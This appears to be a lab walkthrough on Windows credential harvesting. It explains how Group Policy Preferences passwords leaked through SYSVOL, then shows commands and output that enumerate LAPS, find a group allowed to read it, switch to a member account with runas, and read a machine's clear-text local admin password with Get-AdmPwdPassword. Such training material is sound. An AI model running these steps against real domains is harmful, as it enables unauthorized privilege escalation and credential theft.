Local Administrator Password Solution

GPP is a tool that allows administrators to create domain policies with embedded credentials. Once the GPP is deployed, different XML files are created in the SYSVOL folder. SYSVOL is an essential component of Active Directory and creates a shared directory on an NTFS volume that all authenticated domain users can access with reading permission.

Once upon a time, the GPP relevant XML files contained a password encrypted using AES-256 bit encryption. At that time, the encryption was good enough until Microsoft somehow published its private key on MSDN. And because Domain users can read the content of the SYSVOL folder, it becomes easy to decrypt the stored passwords. One of the tools to crack the SYSVOL encrypted password is Get-GPPPassword.

In 2015, Microsoft removed storing the encrypted password in the SYSVOL folder. It introduced the Local Administrator Password Solution (LAPS), which offers a much more secure approach to remotely managing the local administrator password.

The new method includes two new attributes (ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime) of computer objects in the Active Directory. The ms-mcs-AdmPwd attribute contains a clear-text password of the local administrator, while the ms-mcs-AdmPwdExpirationTime contains the expiration time to reset the password. LAPS uses admpwd.dll to change the local administrator password and update the value of ms-mcs-AdmPwd.

Enumerating for LAPS:

Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\thm>dir "C:\Program Files\LAPS\CSE"
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files\LAPS\CSE

06/06/2022  01:01 PM    <DIR>          .
06/06/2022  01:01 PM    <DIR>          ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
               1 File(s)        184,232 bytes
               2 Dir(s)  10,184,249,344 bytes free


Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Listing the available PowerShell cmdlets for LAPS:

PS C:\Users\thm> Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                           AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                         AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                           AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission             AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission             AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission            AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                        AdmPwd.PS

Finding Users with AdmPwdExtendedRights Attribute:

PS C:\Users\thm> Find-AdmPwdExtendedRights -Identity THMorg

ObjectDN                                      ExtendedRightHolders
--------                                      --------------------
OU=THMorg,DC=thm,DC=red                       {THM\LAPsReader}

Finding Users belong to THMLAPsReader Group:

PS C:\Users\thm> net groups "LAPsReader"
Group name     LAPsReader


The command completed successfully.


PS C:\Users\thm> net user bk-admin
User name                    bk-admin
Full Name                    THM Admin BK
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/4/2022 10:33:48 AM
Password expires             Never
Password changeable          6/5/2022 10:33:48 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/9/2022 3:47:28 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
                             *LAPsReader           *Enterprise Admins
The command completed successfully.

Switch to bk-admin:

PS C:\Users\thm> runas /savecred /user:THM.red\bk-admin cmd.exe
Attempting to start cmd.exe as user "THM.red\bk-admin" ...
Enter the password for THM.red\bk-admin:
Attempting to start cmd.exe as user "THM.red\bk-admin" ...
PS C:\Users\thm>

Get password:

Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Get-AdmPwdPassword -ComputerName creds-harvestin

ComputerName         DistinguishedName                             Password           ExpirationTimestamp
------------         -----------------                             --------           -------------------
CREDS-HARVESTIN      CN=CREDS-HARVESTIN,OU=THMorg,DC=thm,DC=red    THMLAPSPassw0rd    2/11/2338 11:05:2...

PS C:\Windows\system32>